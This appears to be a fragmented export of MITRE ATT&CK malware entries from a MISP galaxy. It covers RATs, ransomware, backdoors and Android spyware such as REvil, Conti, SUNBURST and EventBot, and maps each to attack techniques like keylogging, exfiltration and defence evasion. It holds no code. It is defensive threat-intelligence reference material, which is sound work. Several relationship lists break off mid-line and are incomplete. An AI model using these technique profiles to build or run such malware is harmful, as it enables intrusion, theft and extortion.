• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
DRATzarus - S0694

[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector. (Citation: ClearSky Lazarus Aug 2020)

The tag is: `misp-galaxy:mitre-malware="DRATzarus - S0694"`

DRATzarus - S0694 is also known as:

- DRATzarus

View relationships graph

DRATzarus - S0694 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"` with estimative-
REvil - S0496

[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which has been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS. (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)

The tag is: `misp-galaxy:mitre-malware="REvil - S0496"`

REvil - S0496 is also known as:

- REvil
- Sodin
- Sodinokibi

View relationships graph

REvil - S0496 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7149. Table References

Links

https://attack.mitre.org/software/S0496


https://securelist.com/sodin-ransomware/91473/


https://www.group-ib.com/whitpapers/ransomware-uncovered.html


https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware

https://www.secureworks.com/blog/revil-the-gandcrab-connection

https://www.secureworks.com/research/revil-sodinokibi-ransomware
Goopy - S0477

[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable. (Citation: Cybereason Cobalt Kitty 2017)

The tag is: `misp-galaxy:mitre-malware="Goopy - S0477"`

Goopy - S0477 is also known as:

- Goopy

View relationships graph

Goopy - S0477 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Clear Mailbox Data - T1070.008" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
EventBot - S0478

[EventBot](https://attack.mitre.org/software/S0478) is an Android banking trojan and information stealer that abuses Android's accessibility service to steal data from various applications. (Citation: Cybereason EventBot) [EventBot](https://attack.mitre.org/software/S0478) was designed to target over 200 different banking and financial applications, the majority of which are European bank and cryptocurrency exchange applications. (Citation: Cybereason EventBot)

The tag is: `misp-galaxy:mitre-malware="EventBot - S0478"`

EventBot - S0478 is also known as:

- EventBot

View relationships graph

EventBot - S0478 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1521.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 7151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0478">https://attack.mitre.org/software/S0478</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born">https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born</a></td>
</tr>
</tbody>
</table>

Kessel - S0487

[Kessel](https://attack.mitre.org/software/S0487) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://attack.mitre.org/software/S0487) has been active since its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)

The tag is: misp-galaxy:mitre-malware="Kessel - S0487"

Kessel - S0487 is also known as:

• Kessel

View relationships graph

Kessel - S0487 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-
Table 7152. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0487">https://attack.mitre.org/software/S0487</a></td>
</tr>
</tbody>
</table>

**Dacls - S0497**

[Dacls](https://attack.mitre.org/software/S0497) is a multi-platform remote access tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least December 2019. (Citation: TrendMicro macOS Dacls May 2020)(Citation: SentinelOne Lazarus macOS July 2020)

The tag is: `misp-galaxy:mitre-malware="Dacls - S0497"`
Dacls - S0497 is also known as:

- Dacls

View relationships graph

Dacls - S0497 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7153. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0497">https://attack.mitre.org/software/S0497</a></td>
</tr>
</tbody>
</table>

WolfRAT - S0489

[WolfRAT](https://attack.mitre.org/software/S0489) is malware based on a leaked version of [Dendroid](https://attack.mitre.org/software/S0301) that has primarily targeted Thai users. [WolfRAT](https://attack.mitre.org/software/S0489) has most likely been operated by the now defunct organization Wolf Research.(Citation: Talos-WolfRAT)

The tag is: misp-galaxy:mitre-malware="WolfRAT - S0489"
WolfRAT - S0489 is also known as:

- WolfRAT

View relationships graph

WolfRAT - S0489 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
Cryptoistic - S0498

[Cryptoistic](https://attack.mitre.org/software/S0498) is a backdoor, written in Swift, that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: SentinelOne Lazarus macOS July 2020)

The tag is: `misp-galaxy:mitre-malware="Cryptoistic - S0498"`

Cryptoistic - S0498 is also known as:

- Cryptoistic

View relationships graph

Cryptoistic - S0498 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Hancitor - S0499

[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)

The tag is: `misp-galaxy:mitre-malware="Hancitor - S0499"`

Hancitor - S0499 is also known as:

- Hancitor
- Chanitor

**View relationships graph**

Hancitor - S0499 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"` with estimative-language:likelihood-probability="almost-certain"
CHEMISTGAMES - S0555

[CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)

The tag is: `misp-galaxy:mitre-malware="CHEMISTGAMES - S0555"

CHEMISTGAMES - S0555 is also known as:

• CHEMISTGAMES

View relationships graph

CHEMISTGAMES - S0555 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1521.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1575" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-
BusyGasper - S0655

[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)

The tag is: `misp-galaxy:mitre-malware="BusyGasper - S0655"`

BusyGasper - S0655 is also known as:

- BusyGasper

View relationships graph

BusyGasper - S0655 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Call Control - T1616"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 7158. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0655">https://attack.mitre.org/software/S0655</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/busygasper-the-unfriendly-spy/87627/">https://securelist.com/busygasper-the-unfriendly-spy/87627/</a></td>
</tr>
</tbody>
</table>

**Raindrop - S0565**

[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="Raindrop - S0565"*

Raindrop - S0565 is also known as:

- Raindrop

View relationships graph

Raindrop - S0565 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-
Table 7159. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0565">https://attack.mitre.org/software/S0565</a></td>
</tr>
</tbody>
</table>

Conti - S0575

[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)

The tag is: `misp-galaxy:mitre-malware="Conti - S0575"`

Conti - S0575 is also known as:

- Conti

View relationships graph

Conti - S0575 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
Table 7160. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0575">https://attack.mitre.org/software/S0575</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/">https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/">https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware">https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware</a></td>
</tr>
</tbody>
</table>

**Kerrdown - S0585**

[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim’s network. (Citation: Amnesty Intl. Ocean Lotus February 2021) (Citation: Unit 42 KerrDown February 2019)
The tag is: `misp-galaxy:mitre-malware="Kerrdown - S0585"`

Kerrdown - S0585 is also known as:

- Kerrdown

**View relationships graph**

Kerrdown - S0585 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 7161. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0585">https://attack.mitre.org/software/S0585</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/">https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/</a></td>
</tr>
</tbody>
</table>

**SUNBURST - S0559**

[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
The tag is: misp-galaxy:mitre-malware="SUNBURST - S0559"

SUNBURST - S0559 is also known as:

- SUNBURST
- Solorigate

View relationships graph

SUNBURST - S0559 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 7162. Table References

Links

https://attack.mitre.org/software/S0559
ThiefQuest - S0595

[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links. Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.

The tag is: misp-galaxy:mitre-malware="ThiefQuest - S0595"

ThiefQuest - S0595 is also known as:

- ThiefQuest
- MacRansom.K
- EvilQuest

View relationships graph

ThiefQuest - S0595 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

